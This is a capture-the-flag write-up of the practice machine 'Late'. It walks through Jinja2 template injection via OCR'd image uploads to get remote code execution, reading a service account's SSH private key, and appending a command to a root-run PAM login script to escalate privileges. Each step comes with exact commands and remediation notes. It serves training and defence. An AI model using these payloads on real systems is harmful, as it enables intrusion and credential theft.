Late
Summary
Target late ($TARGET) was fully compromised via a two-step chain. The nginx web server hosted a Flask 'Image Reader' application on the virtual host images.late.htb whose /scanner endpoint OCR'd uploaded images and reflected the recognized text directly into an unsanitized Jinja2 template — a Server-Side Template Injection flaw.
Because OCR mangled underscores in dunder attribute names, I moved the sensitive token out of the image and into a URL query parameter, embedding only a safe lipsum filter chain in the image text; this bypassed OCR fidelity constraints entirely and achieved remote code execution as the web service account. That RCE was used to read svc_acc's SSH private key, yielding an SSH foothold and the user flag.
For root, the PAM-exec hook /usr/local/sbin/ssh-alert.sh — owned by svc_acc and executed as root on every SSH login — carried only the append-only file attribute rather than immutable. As file owner, svc_acc could append arbitrary shell commands to the script; a single appended line exfiltrated root.txt to a world-readable path, and a fresh SSH login triggered the tampered script as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
Service-version scan of the two open ports.
$ nmap -Pn -sV -p22,80 $TARGETFetch the landing page; grep the HTML for internal hostnames or links.
$ curl -s -i http://$TARGET/Register the discovered virtual host for local resolution.
$ echo "$TARGET images.late.htb" | sudo tee -a /etc/hostsExact commands 1
Confirm the Image Reader app is served on this vhost and note the /scanner form action.
$ curl -s -i -H 'Host: images.late.htb' http://$TARGET/FixSanitize OCR output before passing it to the Jinja2 template engineCritical
Exact commands 2
Render the Jinja2 arithmetic probe into a PNG using ImageMagick.
$ convert -size 500x100 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+60 '{{7*7}}' ssti_test.pngUpload the probe image; look for '49' in the HTML response to confirm SSTI.
$ curl -sS -F 'file=@ssti_test.png' http://images.late.htb/scannerExact commands 2
Render the OCR-safe SSTI payload into an image. The dunder names stay in the URL, never in the image.
$ payload="{{lipsum|attr(request.args.a)|attr('get')('os')|attr('popen')(request.args.c)|attr('read')()}}" && convert -size 2300x160 xc:white -fill black -font DejaVu-Sans-Mono -pointsize 30 -annotate +20+90 "$payload" rce_payload.pngUpload the payload image; the query string supplies __globals__ and the shell command. Confirm svc_acc uid in the response.
$ curl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=id'Exact commands 2
Exfiltrate the svc_acc private key; copy the PEM block from the response.
$ curl -sS -F 'file=@rce_payload.png' 'http://images.late.htb/scanner?a=__globals__&c=cat+/home/svc_acc/.ssh/id_rsa'Save the key to a local file with correct permissions so SSH will accept it.
$ vi svc_acc_id_rsa # paste the PEM block, then: chmod 600 svc_acc_id_rsaExact commands 2
Open an interactive SSH session using the stolen private key.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGETRead the user flag. Expected value: <user.txt>
$ cat ~/user.txtExact commands 4
Confirm svc_acc ownership of the script.
$ ls -la /usr/local/sbin/ssh-alert.shConfirm 'a' (append-only) attribute is set instead of 'i' (immutable).
$ lsattr /usr/local/sbin/ssh-alert.shConfirm the script is wired into PAM and confirm it runs with root privileges.
$ grep -r 'ssh-alert\|pam_exec' /etc/pam.d/ /etc/security/ 2>/dev/nullRead the script to understand its current contents before appending.
$ cat /usr/local/sbin/ssh-alert.shFixRemove service-account ownership of the root-executed PAM hook scriptCritical
Exact commands 3
Append the exfiltration command to the PAM hook. The append-only attribute permits this because svc_acc owns the file.
$ printf '\ncat /root/root.txt > /tmp/.late_rootflag; chmod 644 /tmp/.late_rootflag\n' >> /usr/local/sbin/ssh-alert.shOpen a new SSH session to trigger PAM execution of the tampered script as root.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i svc_acc_id_rsa svc_acc@$TARGET 'true'Read the root flag written by the root-executed hook. Expected value: <root.txt>
$ cat /tmp/.late_rootflagAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.